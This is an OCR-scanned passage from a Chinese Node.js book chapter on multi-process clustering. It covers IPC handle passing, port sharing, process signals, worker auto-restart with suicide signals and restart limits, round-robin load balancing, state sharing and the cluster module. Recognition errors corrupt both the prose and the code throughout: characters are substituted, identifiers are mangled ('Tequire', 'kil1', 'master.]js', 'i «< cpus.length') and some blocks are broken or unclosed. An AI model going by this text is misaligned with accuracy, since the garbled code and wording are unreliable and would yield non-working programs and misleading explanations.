发 送 到 IPC 管 道中 的 实际 上 是 我 们 要 发 送 的 句柄 文件 描述 符 ， 文 件 描述 符 实 际 上 是 一 个 整数 
值 。 这 个 message 对 象 在 写 人 到 IPC 管 道 时 也 会 通过 JSON.stringify() 进 行 序列 化 。 所 以 最 终 发 送 
到 IPC 通 道中 的 信息 都 是 字符 串 ，send() 方 法 能 发 送 消 息 和 句柄 并 不 意味 着 它 能 发 送 任意 对 象 。 

连接 了 IPC 通 道 的 子 进 程 可 以 谈 取 到 父 进程 发 来 的 消息 ， 将 字符 串通 过 JSON.parse() 解 析 还 
原 为 对 象 后 ， 才 触发 mnessage 事 件 将 消息 体 传递 给 应 用 层 使 用 。 在 这 个 过 程 中 ， 消 息 对 象 还 要 被 
进行 过 滤 处 理 ，message.cmd 的 人 如 采 以 NODE 为 前 缀 ， 它 将 啊 应 一 个 内 部 事件 internalMessage。 
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如 果 message.cmd 值 为 NODE_HANDLE, 它 将 取出 message.type 值 和 得 到 的 文件 描述 符 一 起 还 原 出 一 个 
对 应 的 对 象 。 这 个 过 程 的 示意 图 如 图 9-7 所 示 。 


本 tringif 本 
send(fd) got(fd) 


图 9-7 ”句柄 的 发 送 与 还 原 示 意图 
以 发 送 的 TCP 服 务 器 句柄 为 例 ， 子 进程 收 到 消息 后 的 还 原 过 程 如 下 所 示 : 


function(message, handle, emit) { 
var self = this ; 


var server = new net.Server(); 
server.listen(handle, function() { 
emit(server); 
}); 
} 


上 面 的 代码 中 ， 子 进程 根据 message.type 创 建 对 应 TCP 服 务 器 对 象 ， 然 后 监听 到 文件 描述 符 
上 。 由 于 育 层 细 市 不 被 应 用 层 感 妈 ， 所 以 在 于 进程 中 , 开发 者 会 有 一 种 服务 硕 就 是 从 父 进程 中 百 
接 传 递 过 来 的 错觉。 值得 注意 的 是 ,Node 进程 之 间 只 有 消息 传递 ,不 会 真正 地 传递 对 象 ， 这 种 错 
觉 是 抽象 封装 的 结 

目前 Node 只 文 持 上 述 提 到 的 几 种 句柄 , 并 非 任意 类 型 的 句柄 都 能 在 进程 之 间 传 递 , 除非 它 有 
完整 的 发 送 和 还 原 的 过 程 。 

2. 端口 共同 监听 

在 了 解 了 句柄 传递 背后 的 原理 后 , 我 们 继续 探究 为 何 通 过 发 送 句 柄 后 , 多 个 进程 可 以 监听 到 
相同 的 端口 而 不 引起 EADDRINUSE 腊 党 。 其 答案 也 很 简单 ， 我 们 独立 局 动 的 进程 中 ，TCP 服 务 硕 端 
socket 登 接 字 的 文件 描述 符 并 不 相同 ， 导 人 致 监听 到 相同 的 端口 时 会 殷 出 异常 。 

Node 底 层 对 每 个 端口 监听 都 设置 了 SO REUSEADDR 选 项 , 这 个 选项 的 涵义 是 不 同 进程 可 以 就 相 
同 的 网 卡 和 端口 进行 监听 ， 这 个 服务 硕 闪 套 接 字 可 以 被 不 同 的 进程 复 用 ， 如 下 所 示 : 

setsockopt(tcp->io watcher.fd, SOL SOCKET, SO REUSEADDR, &on, sizeof(on)) 

由 于 独立 启动 的 进程 互相 之 间 并 不 知道 文件 描述 符 ,， 所 以 监听 相同 端口 时 就 会 失败 。 但 对 于 
send() 发 送 的 句柄 还 原 出 来 的 服务 而 言 ， 它 们 的 文件 描述 符 是 相同 的 ， 所 以 监听 相同 端口 不 会 引 
起 寞 肖 。 

多 个 应 用 监听 相同 端口 时 , 文件 描述 符 同一 时 间 只 能 被 某 个 进程 所 用 。 换言之 就 是 网 络 请 求 
问 服务 需 庙 发 送 时 , 只 有 一 个 幸运 的 进程 能 够 抢 到 连接 , 也 就 是 说 只 有 它 能 为 这 个 请 求 进行 服务 。 
这 些 进 程 服务 是 抢占 式 的 。 


9.2.4 ”小结 
至 此 ， 我 们 介绍 了 创建 子 进程 、 进 程 间 通 信和 的 IPC 通 道 实现 、 句 柄 在 进程 间 的 发 送 和 还 原 、 
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端口 共用 等 细节 。 通 过 这 些 基础 技术 ， 用 child process 模 块 在 单机 上 搭建 Node 和 集群 是 件 相 对 容 
易 的 事情 。 因 此 在 多 核 CPU 的 环境 下 ， 让 Node 进 程 能 够 充分 利用 资源 不 再 是 难题 。 


9.3 ”集群 稳定 之 路 


搭建 好 了 集群 , 充分 利用 了 多 核 CPU 资 源 , 似乎 就 可 以 迎接 客户 端 大 量 的 请 求 了 。 但 请 等 等 ， 
我 们 还 有 一 些 细 节 需 要 考虑 。 

口 性 能 问题 。 

口 多 个 工作 进程 的 存活 状态 管理 。 

口 工作 进程 的 平滑 重启 。 

口 配置 或 者 静态 数据 的 动态 重新 载 入 。 

口 其 他 细 市 。 

是 的 , 虽然 我 们 创建 了 很 多 工作 进程 ,但 每 个 工作 进程 依然 是 在 单线 程 上 执行 的 ， 它 的 稳定 
性 还 不 能 得 到 完全 的 保障 。 我 们 需要 建立 起 一 个 健全 的 机 制 来 保障 Node 应 用 的 健壮 性 。 


9.3.1 进程 事件 


再 次 回归 到 子 进程 对 象 上 ， 除 了 引 人 关 注 的 send() 方 法 和 message 事 件 外 ， 子 进程 还 有 些 什 
么 呢 ? 首先 除了 message 事 件 外 ，Node 还 有 如 下 这 些 事件 。 
D error: 当 子 进程 无 法 被 复制 创建 、 无 法 被 杀 死 、 无 法 发 送 消息 时 会 触发 该 事件 。 
D exit: 子 进程 退出 时 触发 该 事件 , 子 进程 如 有 果 是 正常 退出 , 这 个 事件 的 第 一 个 参数 为 退出 
码 ， 否 则 为 nuvl11。 如 果 进 程 是 通过 kil1() 方 法 被 杀 死 的 , 会 得 到 第 二 个 参数 ， 它 表示 杀 死 
进程 时 的 信和 号。 

口 close: 在 子 进 程 的 标准 输入 输出 流 中 止 时 触发 该 事件 ， 参 数 与 exit 相 同 。 

口 disconnect: 在 父 进程 或 子 进程 中 调用 disconnect() 方 法 时 触发 该 事件 ， 在 调用 该 方法 时 
将 关闭 监听 IPC 通 道 。 

上 述 这 些 事件 是 父 进程 能 监听 到 的 与 子 进程 相关 的 事件 。 除 了 send() 外 ， 还 能 通过 kil1() 方 
法 给 子 进 程 发 送 消 息 。kill() 方 法 并 不 能 真正 地 将 通过 IPC 相 连 的 子 进 程 杀 死 ， 它 只 是 给 子 进 程 
发 送 了 一 个 系统 信号 。 黑 认 情 况 下 ， 父 进程 将 通过 kil1() 方 法 给 子 进 程 发 送 一 个 SIGTERM 信 号。 
它 与 进程 黑 认 的 kil1() 方 法 闫 似 ， 如 下 所 不 : 

// 子 进程 

child.kill([signal |]); 

// 当前 进程 

process.kill(pid, [signal]); 

它们 一 个 发 给 子 进 程 ， 一 个 发 给 目标 进程 。 在 POSIX 标 准 中 ， 有 一 套 完备 的 信号 系统 ， 在 命 
令 行 中 执行 kill -1 可 以 看 到 详细 的 信号 列表 ， 如 下 所 示 : 


$ kill -1 
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 
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5) SIGTRAP 6) SIGABRT 7) SIGEMT 8) SIGFPE 

9) SIGKILL 10) SIGBUS 11) SIGSEGV 12) SIGSYS 

13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGURG 

17) SIGSTOP 18) SIGTSTP 19) SIGCONT 20) SIGCHLD 
21) SIGTTIN 22) SIGTTOU 23) SIGIO 24) SIGXCPU 
25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 
29) SIGINFO 30) SIGUSR1 31) SIGUSR2 


Node 提 供 了 这 些 信号 对 应 的 信号 事件 , 每 个 进程 都 可 以 监听 这 些 信 号 事件 。 这 些 信号 事件 是 
用 来 通知 进程 的 ， 每 个 信号 事件 有 不 同 的 含义 ， 进 程 在 收 到 啊 应 信号 时 ， 应 当做 出 约定 的 行为 ， 
如 SIGTERM 是 软件 终止 信号 ， 进 程 收 到 该 信号 时 应 当 退 出 。 示 例 代 码 如 下 所 示 : 


process.on('SIGTERM', function() { 
console.log('Got a SIGTERM, exiting...'); 
process .exit(1); 


}); 


console.log('server running with PID:', process.pid); 
process.kill(process.pid, 'SIGTERM'); 


9.3.2 ”自动 重启 


有 了 父子 进程 之 间 的 相关 事件 之 后 , 就 可 以 在 这 些 关系 之 间 创 建 出 需要 的 机 制 了 。 至少 我 们 
能 够 通过 监听 子 进程 的 exit 事 件 来 获知 其 退出 的 信息 ,接着 前 文 的 多 进程 架构 ， 我们 在 主 进 程 上 
要 加 入 一 些 子 进程 管理 的 机 制 ， 比 如 重新 启动 一 个 工作 进程 来 继续 服务 。 示 意图 如 图 9-8 所 示 。 


一 一 一 


1 | | 1 工作 
进程 ， 进 程 ; | 进程 进程 进程 


图 9-8” 主 进程 加 入 子 进程 管理 机 制 的 示意 图 


实现 代码 如 下 所 示 : 


// master.js 
var fork 
Var cpus 


= require('child process').fork; 

= require('os').cpus(); 

var server = require('net').createServer(); 
server.listen(1337); 


var workers = {}; 
var createWorker = function () { 
var worker = fork(_ dirname + '/worker.js'); 


// 退出 时 重新 尼 动 新 的 进程 
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worker.on('exit', function () { 
console.log('Worker ' + worker.pid + ' exited.'); 
delete workers|[worker.pidj] ; 
createWorker(); 

}); 

// 句柄 转发 

worker.send('server', server); 

workers [worker.pid| = worker; 

console.log('Create worker. pid: ' + worker.pid); 


}; 

for (var i = 0; i «< cpus.length; i++) { 
createWorker(); 

} 


// 进程 自己 退出 时 ， 让 所 有 工作 进程 退出 
process.on('exit', function () { 
for (var pid in workers) { 
workers[pid].kill(); 


} 
}); 
测试 一 下 上 面 的 代码 ， 如 下 所 示 : 
$ node master.]js 
Create worker. pid: 30504 
Create worker. pid: 30505 


Create worker. pid: 30506 
Create worker. pid: 30507 


通过 kill 命 令 杀 死 某 个 进程 试 试 ， 如 下 所 示 : 
$ kill 30506 

结果 是 30506 进 程 退 出 后 ,自动 启动 了 一 个 新 的 工作 进程 30518， 总体 进 程 数量 并 没有 发 生 改 
如 下 所 示 : 


Worker 30506 exited. 
Create worker. pid: 30518 


在 这 个 场景 中 我 们 主动 杀 死 了 一 个 进程 ， 在 实际 业务 中 ， 可 能 有 隐藏 的 bpug 导 致 工作 进程 退 
那么 我 们 需要 仔细 地 处 理 这 种 异常 ， 如 下 所 未 : 


// Worker.js 

var http = require('http'); 

var server = http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('handled by child, pid is ' + process.pid + '\n'); 

}); 


var worker; 
process.on('message', function (m, tcp) { 
if (m === 'server') { 
worker = tcp; 
worker.on('connection', function (socket) { 
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server.emit('connection', socket); 
}); 
} 
}); 


process.on('uncaughtException', function () { 
// 停止 接收 新 的 连接 
worker.close(function () { 
// 所 有 已 有 连接 断 开 后 ， 退 出 进程 
process.exit(1); 
}); 
}); 
上 述 代 码 的 处 理 流程 是 ， 一 旦 有 未 捕获 的 异 和 出 现 ， 工 作 进 程 就 会 立即 停止 接收 新 的 连接 ; 
当 所 有 连接 断 开 后 , 退出 进程 。 主 进程 在 侦 听 到 工作 进程 的 exit 后 , 将 会 立即 启动 新 的 进程 服务 ， 
以 此 你 证 整个 集群 中 总 是 有 进程 在 为 用 户 服务 的 。 
1. 自杀 信号 
当然 上 述 代 码 存在 的 问题 是 要 等 到 已 有 的 所 有 连接 断 开 后 进程 才 退 出 , 在 极端 的 情况 下 ， 所 
有 工作 进程 邦 停 止 接收 新 的 连接 , 全 处 在 等 待 退出 的 状态 。 但 在 等 到 进程 完全 退出 才 重 局 的 过 程 
中 ， 所 有 新 来 的 请 求 可 能 存在 没有 工作 进程 为 新 用 户 服务 的 情景 ， 这 会 丢掉 大 部 分 请 求 。 
为 此 需要 改进 这 个 过 程 , 不 能 等 到 工作 进程 退出 后 才 重 局 新 的 工作 进程 。 当 然 也 不 能 暴力 退 
出 进程 ， 因 为 这 样 会 导致 已 连接 的 用 户 下 接 断 开 。 于 是 我 们 在 退出 的 流程 中 增加 一 个 目 杀 
( suicide ) 信号 。 工 作 进 程 在 得 知 要 退出 时 ， 回 主 进 程 发送 一 个 目 杀 信号 ， 然 后 才 停 止 接收 新 的 
连接 ， 当 所 有 连接 断 开 后 才 退 出 。 主 进程 在 接收 到 目 杀 信号 后 ， 立 即 创建 新 的 工作 进程 服务 。 代 
但 改动 如 下 所 示 : 


// worker.js 
process.on('uncaughtException', function (err) { 
process.send({act: 'suicide'}); 
// 停止 接收 新 的 连接 
worker.close(function () { 
// 所 有 已 有 连接 断 开 后 ， 退 出 进程 
process.exit(1); 
}); 
}); 
主 进程 将 重 局 工作 进程 的 任务 ， 从 exit 事 件 的 处 理 晒 数 中 转移 到 message 事 件 的 处 理 晒 数 中 ， 


如 下 所 示 : 


var createWorker = function () { 
var worker = fork( dirname + '/worker.js'); 
// 启动 新 的 进程 
worker.on('message', function (message) { 
if (message.act === 'suicide') { 
createWorker(); 


} 
}); 
worker.on('exit', function () { 
console.log('Worker ”+ worker.pid + ' exited.'); 
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worker.send('server' , server); 
workers[worker.pid|] = worker; 
console.log('Create worker. pid: ”+ worker.pid); 
}; 
为 了 模拟 未 捕获 的 异常 ， 我 们 将 工作 进程 的 处 理 代码 改 为 抛 出 异常 ， 一 旦 有 用 户 请 求 ， 就 会 
有 一 个 可 怜 的 工作 进程 退出 ， 如 下 所 示 : 
var server = http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('handled by child, pid is ' + process.pid + '\n'); 
throw new Error('throw exception'); 


1 
然后 启动 所 有 进程 ， 如 下 所 示 : 


$ node master.]js 

Create worker. pid: 48595 
Create worker. pid: 48596 
Create worker. pid: 48597 
Create worker. pid: 48598 


用 curl 工 具 测 试 效 末 ， 如 下 所 示 : 


$ curl http://127.0.0.1:1337/ 
handled by child, pid is 48598 


再 回头 看 重 局 信息 ， 如 下 所 未 : 


Create worker. pid: 48602 
Worker 48598 exited. 


与 前 一 种 方案 相 比 , 创建 新 工作 进程 在 前 ,退出 异 第 进程 在 后 。 在 这 个 可 怜 的 异 第 进程 退出 
之 前 , 总 是 有 新 的 工作 进程 来 克 上 它 的 闵 位 。 至 此 我 们 完成 了 进程 的 平 请 重 局 , 一 旦 有 异 第 出 现 ， 
主 进 程 会 创建 新 的 工作 进程 来 为 用 户 服务 , 旧 的 进程 一 旦 处 理 完 已 有 连接 就 自动 断 开 。 整 个 过 程 
使 得 我 们 的 应 用 的 稳定 性 和 健壮 性 大 大 提高 。 示 意图 如 图 9-9 所 示 。 


图 9-9 ”进程 的 自杀 和 重启 
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这 里 存在 问题 的 是 有 可 能 我 们 的 连接 是 长 连接 ,不 是 HTTP 服务 的 这 种 短 连接 ， 等 待 长 连接 
靳 开 可 能 需要 较 久 的 时 间 。 为 此 为 已 有 连接 的 断 开 设置 一 个 超时 时 间 是 必要 的 , 在 限定 时 间 里 强 
制 退出 的 设置 如 下 所 示 : 


process.on('uncaughtException', function (err) { 
process.send({act: 'suicide'}); 
// 停止 接收 新 的 连接 
worker.close(function () { 
// 所 有 已 有 连接 断 开 后 ， 退 出 进程 
process.exit(1); 
}); 
// 5 秒 后 退出 进程 
setTimeout(function () { 
process.exit(1); 
}，5000); 


}); 

进程 中 如 末 出 现 未 能 捕获 的 异常, 就 意味 者 有 那么 一 段 代码 在 健壮 性 上 是 不 合格 的 。 为 此 退 
出 进程 前 , 通过 日 志 记 录 下 间 题 所 在 是 必须 要 做 的 事情 , 它 可 以 帮 我 们 很 好 地 定位 和 退 踪 代码 天 
沼 出 现 的 位 置 ， 如 下 所 示 : 


process.on('uncaughtException', function (err) { 

// 记录 日 志 

logger.error(err); 

// 发 送 自杀 信号 

process.send({act: 'suicide'}); 

// 停止 接收 新 的 连接 

worker.close(function () { 
// 所 有 已 有 连接 断 开 后 ， 退 出 进程 
process.exit(1); 


}); 
// 5 秒 后 退出 进程 
setTimeout(function () { 
process.exit(1); 
}，5000); 
}); 


2. 限量 重启 

通过 目 杀 信号 告知 主 进程 可 以 使 得 新 连接 总 是 有 进程 服务 , 但 是 依然 还 是 有 极端 的 情况 。 工 
作 进 程 不 能 无 限制 地 被 重启 , 如 果 局 动 的 过 程 中 就 发 生 了 错误 ,或 者 司 动 后 接 到 连接 就 收 到 错误 ， 
会 导致 工作 进程 被 频 烷 重启 , 这 种 频 综 重 局 不 属于 我 们 捕捉 未 知 异 常 的 情况 ,因为 这 种 短 时 间 内 
频 绽 重启 已 经 不 符合 预期 的 设置 ， 极 有 可 能 是 程序 编写 的 错误 。 

为 了 消除 这 种 无 意义 的 重 局 ,在 满足 一 定 规 则 的 限制 下 ,不 应 当 反 复 重 局 。 比 如 在 单位 时 间 
内 规定 只 能 重启 多 少 次 ， 超 过 限制 就 触发 giveup 事 件 ， 告 知 放 莽 重启 工作 进程 这 个 重要 事件 。 

为 了 完成 限量 重 局 的 统计 , 我 们 引入 一 个 队列 来 做 标记 , 在 每 次 重 局 工作 进程 之 间 进 行 打 扣 
并 判断 重 局 是 否 太 过 频 坚 ， 如 下 所 示 : 


// 重 司 次 数 
var limit = 10; 
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// 时 间 单 位 
var during = 60000; 
Var restart = [|]; 
var isTooFrequently = function () { 
// 记录 重启 时 间 
var time = Date.now(); 
var length = restart.push(time); 
if (length > limit) { 
// 取出 最 后 10 个 记录 
restart = restart.slice(limit * -1); 


} 
// 最 后 一 次 重启 到 前 10 次 重启 之 间 的 时 间 间 陋 
return restart.length >= limit && restart[restart.length - 1] - restart[0] < during; 


上 


var workers = {}; 
var createWorker = function () { 
// 检查 是 否 太 过 频繁 
if (isTooFrequently()) { 
// 触发 giveup 事 件 后 ， 不 再 重 局 
process.emit('giveup', length, during); 
return; 
} 
var worker = fork( dirname + '/worker.js'); 
worker.on('exit', function () { 
console.log('Worker ' + worker.pid + ' exited.'); 
delete workers[worker.pid|]; 
}); 
// 重新 启动 新 的 进程 
worker.on('message', function (message) { 
if (message.act === 'suicide') { 
createWorker(); 
} 
}); 
// 句柄 转发 
worker.send('server' , server); 
workers[worker.pid|] = worker; 
console.log('Create worker. pid: ”+ worker.pid); 


}; 

giveup 事 件 是 比 uncaughtException 更 严重 的 异常 事件 。 uncaughtException 只 代表 集群 中 某 个 
工作 进程 退出 ,在 整体 性 保证 下 ,不 会 出 现 用 户 得 不 到 服务 的 情况 , 但 是 这 个 giveup 事 件 则 表示 
集群 中 没有 任何 进程 服务 了 , 十 分 危险 。 为 了 健壮 性 考虑 , 我 们 应 在 giveup 事 件 中 添加 重要 日 志 ， 
并 让 监控 系统 监视 到 这 个 严重 错误 ， 进 而 报警 等 。 


9.3.3 ”负载 均衡 


在 多 进程 之 间 监 听 相 同 的 端口 , 使 得 用 户 请 求 能 够 分 散 到 多 个 进程 上 进行 处 理 , 这 市 来 的 好 
处 是 可 以 将 CPU 资 源 部 调用 起 来 。 这 犹如 饭店 将 客人 的 点 单 分 发 给 多 个 厨师 进行 餐 点 制作 。 有 既然 
涉及 多 个 厨师 共同 处 理 所 有 训 单 , 那么 你 证 每 个 厨师 的 工作 量 是 一 门 学 问 ， 既 不 能 让 一 些 厨 师 愤 : 
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不 过 来 ， 也 不 能 让 一 些 厨 师 有 内 着， 这 种 保证 多 个 处 理 蛙 元 工作 量 公平 的 策略 叫 人 负载 均 衡 。 

Node 默 认 提 供 的 机 制 是 采用 操作 系统 的 抢占 式 生 上 略 。 所 请 的 抢占 式 就 是 在 一 堆 工作 进程 中 ， 
朵 痢 的 进程 对 到 来 的 请 求 进行 争 抢 ， 谁 抢 到 谁 服 务 。 

一 般 而 谨 ， 这 种 抢占 式 来 略 对 大 家 是 公平 的 ， 各 个 进程 可 以 根据 目 己 的 蒙 忙 度 来 进行 抢占 。 
但 是 对 于 Node 而 言 ， 需 要 分 清 的 是 它 的 繁忙 是 由 CPU、LO 两 个 部 分 构成 的 ， 影响 抢占 的 是 CPU 
的 繁忙 度 。 对 不 同 的 业务 ， 可 能 存在 VO 繁忙 ， 而 CPU 较 为 空 用 的 情况 ， 这 可 能 造成 菏 个 进程 能 
够 抢 到 较 多 请 求 ， 形 成 负载 不 均衡 的 情况 。 

为 此 Node 在 v0.11 中 提供 了 一 种 新 的 策略 使 得 负载 均衡 更 合理 ， 这 种 新 的 策略 叫 
Round-Robin， 又 叫 轮 叫 调度 。 轮 叫 调度 的 工作 方式 是 由 主 进程 接受 连接 ， 将 其 依次 分 发 给 工作 
进程 ,分 发 的 案 略 是 在 N 个 工作 进程 中 , 每 次 选择 第 i = (i +1) mod n 个 进程 来 发 送 连接 。 在 cluster 
模块 中 局 用 它 的 方式 如 下 : 


// 启用 Round-Robin 

cluster.schedulingPolicy = cluster.SCHED RR 
// 不 启用 Round-Robin 

cluster.schedulingPolicy = cluster.SCHED NONE 


或 者 在 环境 变量 中 设置 NODE CLUSTER SCHED POLICY 的 值 ， 如 下 所 示 : 


export NODE CLUSTER SCHED POLICY=rr 
export NODE CLUSTER SCHED POLICY=none 


Round-Robin 非 常人 简单 ,可 以 避免 CPU 和 1/O 繁 忙 差异 导 人 致 的 负载 不 均衡 Round-Robin 策 上 略 也 
可 以 通过 代理 服务 如 来 实现 ,但 是 它 会 导致 服务 右上 消耗 的 文件 描述 符 是 平常 方 式 的 两 倍 。 


9.3.4 ”状态 共享 


在 第 5$ 草 中 ， 我 们 提 到 在 Node 进 程 中 不 宜 存 放 太 多 数据 ， 因 为 它 会 加 重 垃圾 回收 的 负担 ， 进 
影响 性 能 。 同 时 ，Node 也 不 允许 在 多 个 进程 之 间 共 享 数据 。 但 在 实际 的 业务 中 , 往往 需要 共享 

一 些 数据 ， 璧 如 配置 数据 ， 这 在 多 个 进程 中 应 当 是 一 致 的 。 为 此 ， 在 不 允许 共享 数据 的 情况 下 ， 
我 们 需要 一 种 方案 和 机 制 来 实现 数据 在 多 个 进程 之 间 的 共享 。 

1. 第 三 方 数据 存储 

解决 数据 共享 最 直接 、 简 单 的 方式 就 是 通过 第 三 方 来 进行 数据 存储 ， 比 如 将 数据 存放 到 数据 
库 、 磁 盘 文件 、 缓 存 服务 ( 如 Redis ) 中 ， 所 有 工作 进程 启动 时 将 其 读 取 进 内 存 中 。 但 这 种 方式 
存在 的 问题 是 如 果 数 据 发 生 改 变 , 还 需要 一 种 机 制 通知 到 各 个 子 进 程 , 使 得 它们 的 内 部 状态 也 得 
到 更 新 。 

实现 状态 同步 的 机 制 有 两 种 ， 一 种 是 各 个 子 进程 去 向 第 三 方 进行 定时 轮 询 ， 示 意图 如 图 9-10 
所 示 。 

定时 轮 询 珊 来 的 问题 是 轮 询 时 间 不 能 过 密 ， 如 果子 进程 过 多 , 会 形成 并 发 处 理 ， 如 果 数 据 没 
有 发 生 改 变 ， 这 些 轮 询 会 没有 意义 ， 白白 增 加 查询 状态 的 开销 。 如 果 轮 询 时 间 过 长 ,数据 发 生 改 
变 时 ， 不 能 及 时 更 新 到 子 进程 中 ， 会 有 一 定 的 延迟 。 
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图 9-10 ”定时 轮 询 示意 图 


2. 主动 通知 

一 种 改进 的 方式 是 当 数 据 发 生 更 新 时 ， 主 动 通知 子 进程 。 当 然 ， 即 使 是 主动 通知 ， 也 需要 一 
种 机 制 来 及 时 获取 数据 的 改变 。 这 个 过 程 仍然 不 能 脱离 轮 询 ， 但 我 们 可 以 减少 轮 询 的 进程 数量 ， 
我 们 将 这 种 用 来 发 送 通 知 和 查询 状态 是 否 更 改 的 进程 叫做 通知 进程 。 为 了 不 混合 业务 迎 辑 ,可 以 
将 这 个 进程 设计 为 只 进行 轮 询 和 通知 ， 不 处 理 任何 业务 逻辑 ， 示 意图 如 图 9-11 所 示 。 


config 
(db/file/cache) 


图 9-11 主动 通知 示意 图 
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这 种 推送 机 制 如 果 按 进程 间 信 号 传递 ,在 跨 多 台 服 务 侣 时 会 无 效 ， 是 故 可 以 考虑 采用 TCP 或 
UDP 的 方案 。 进 程 在 启动 时 从 通知 服务 处 除了 读 取 第 一 次 数据 外 ,还 将 进程 信息 注册 到 通知 服务 
处 。 一 旦 通过 轮 询 发 现 有 数据 更 新 后 ,根据 注册 信息 ,将 更 新 后 的 数据 发 送 给 工作 进程 。 由 于 不 
涉及 太 多 进程 去 癌 同 一 地 方 进行 状态 查询 ,状态 啊 应 处 的 压力 不 至 于 太 过 巨大 , 单一 的 通知 服务 
轮 询 市 来 的 压力 并 不 大 , 所 以 可 以 将 轮 询 时 间 调 整 得 较 短 ， 一 旦 发 现 更 新 ， 就 能 实时 地 推送 到 各 
个 于 进程 中 。 


9.4 ” Cluster 模块 


前 文 介绍 了 child_process 模 块 中 的 大 多 数 细 市 ， 以 及 如 何 通 过 这 个 模块 构建 强大 的 单机 集 
群 。 如 有 果 台 知 Node， 也 许 你 会 惊讶 为 何 述 返 不 谈 cluster 模 块 。 上 述 提 及 的 问题 ，Node 在 v0.8 版 
本 时 新 增 的 cluster 模 块 就 能 解决 。 在 v0.8 版 本 之 前 ， 实 现 多 进程 染 构 必 须 通 过 child_process 来 
实现 , 要 创建 单机 Node 集 和 群 , 由 于 有 这 么 多 细节 需要 处 理 , 对 普通 工程 师 而 言 是 一 件 相 对 较 难 的 
工作 , 于 是 v0.8 时 下 接 引 入 了 了 cluster 模块， 用 以 解决 多 核 CPU 的 利用 率 问题 ， 同 时 也 提供 了 较 完 
善 的 API， 用 以 处 理 进 程 的 健壮 性 问题 。 

对 于 本 章 开 头 提 到 的 创建 Node 进 程 集群 ，cluster 实 现 起 来 也 是 很 轻松 的 事情 ， 如 下 所 示 : 


// cluster.js 
var cluster = Tequire( " cluster ' ) ; 


cluster.setupMaster({ 
exec: "worker.js" 


}); 


var cpus = require('os').cpus(); 

for (var i = 0; i «< cpus.length; i++) { 
cluster. fork(); 

} 


执行 node clusterjs 将 会 得 到 与 前 文 创建 子 进 程 集群 的 效果 相同 。 就 官方 的 文档 而 言 ， 它 更 吉 
欢 如 下 的 形式 作为 示例 : 


var cluster = Tequire( "cluster ' ) ; 
var http = require('http'); 
var numCPUs = require('os').cpus().length; 


if (cluster.isMaster) { 
// Fork workers 
for (var i = 0; i «< numCPUs; i++) { 
cluster. fork(); 
} 


cluster.on('exit', function(worker, code, signal) { 
console.log('worker ”+ worker.process.pid + ' died'); 
}); 
} else { 
// Workers can share any TCP connection 
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// In this case its a HTTP server 
http.createServer(function(req, res) { 
res.writeHead(200); 
res.end("hello world\n"); 
}).listen(8000); 


在 进程 中 判断 是 主 进程 还 是 工作 进程 ， 主 要 取决 于 环境 变量 中 是 否 有 NODE_UNIQUE_ID， 如 下 
所 未 : 


cluster.isWorker = ('NODE UNIQUE ID' in process.env); 
cluster.isMaster = (cluster.isWorker === false); 


但 是 官方 示例 中 忽而 判断 cluster.isMaster、 忽 而 判断 cluster.isWorker， 对 于 代码 的 可 读 
性 十 分 差 。 我 建议 用 cluster.setupMaster() 这 个 API， 将 主 进程 和 工作 进程 从 代码 上 完全 剥离 ， 
如 同 send() 方 法 看 起 来 直接 将 服务 器 从 主 进程 发 送 到 子 进程 那样 神奇 ， 剥离 代码 之 后 ,其 至 都 感 
觉 不 到 主 进程 中 有 任何 服务 大 相关 的 代码 。 

通过 cluster.setupMaster() 创 建 子 进程 而 不 是 使 用 cluster.fork() ， 程 序 结构 不 再 凌乱 ， 逮 
辑 分 明 ， 代 码 的 可 旋 性 和 可 维护 性 较 好 。 


9.4.1 _ Cluster 工作 原理 


事实 上 cluster 模 块 就 是 child process 和 net 模 块 的 组 合 应 用 。cluster 启 动 时 ， 如 同 我 们 在 
9.2.3 节 里 的 代码 一 样 ， 它 会 在 内 部 启动 TCP 服 务 器 ， 在 cluster.fork() 子 进程 时 ， 将 这 个 TCP 服 
务 需 疹 Socket 的 文件 描述 符 发 送 给 工作 进程 。 如 果 进 程 是 通过 cluster.fork() 复 制 出 来 的 ， 那 么 
它 的 环境 变量 里 就 存在 NODE_UNIQUE_ID， 如 果 工 作 进程 中 存在 listen() 侦 听 网 络 端口 的 调用 ， 它 
将 拿 到 该 文件 描述 符 ， 通 过 S0_REUSEADDR 端 口 重用 ， 从 而 实现 多 个 子 进程 共享 端口 。 对 于 普通 方 
式 启 动 的 进程 ， 则 不 存在 文件 描述 符 传 递 共 至 等 事情 。 

在 cluster 内 部 隐 式 创建 TCP 服 务 顺 的 方式 对 使 用 者 来 说 十 分 透明 ,但 也 正 是 这 
无 法 如 直接 使 用 child process 那 样 灵活 。 在 cluster 模 块 应 用 中 ， 一 个 主 进程 只 能 
进程 ， 如 图 9-12 所 示 。 


种 方式 使 得 它 
管理 一 组 工作 


图 9-12 在 cluster 模 块 应 用 中 ， 一 个 主 进 程 只 能 管理 一 组 工作 进程 


对 于 目 行 通过 child process 来 操作 时 ， 则 可 以 更 灵活 地 控制 工作 进程 ， 甚 至 控制 多 组 工作 
进程 。 其 原因 在 于 自行 通过 child process 操 作 子 进程 时 ,可 以 隐 式 地 创建 多 个 TCP 服 务 絮 ,使 得 
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子 进程 可 以 共享 多 个 的 服务 六 问 socket， 如 图 9-13 所 示 。 


工作 进程 
app2.]s 


图 9-13 ”自行 通过 child process 控 制 多 组 工作 进程 


9.4.2 ” Cluster 事件 


对 于 健壮 性 处 理 ，cluster 模 块 也 雄 露 了 相当 多 的 事件 。 

D fork: 复制 一 个 工作 进程 后 触发 该 事件 。 

口 online: 复制 好 一 个 工作 进程 后 ， 工 作 进 程 主动 发 送 一 条 online 消 息 给 主 进程 ， 主 进程 收 
到 消息 后 ， 触 发 该 事件 。 

口 listening: 工作 进程 中 调用 listen() (共享 了 服务 喜 端 Socket ) 后 ， 发 送 一 条 1istening 
消息 给 主 进程 ， 主 进程 收 到 消息 后 ， 和 触发 该 事件 。 

口 disconnect: 主 进程 和 工作 进程 之 间 IPC 通 道 断 开 后 会 触发 该 事件 。 

D exit: 有 工作 进程 退出 时 触发 该 事件 。 

D setup: cluster.setupMaster() 执 行 后 触发 该 事件 。 

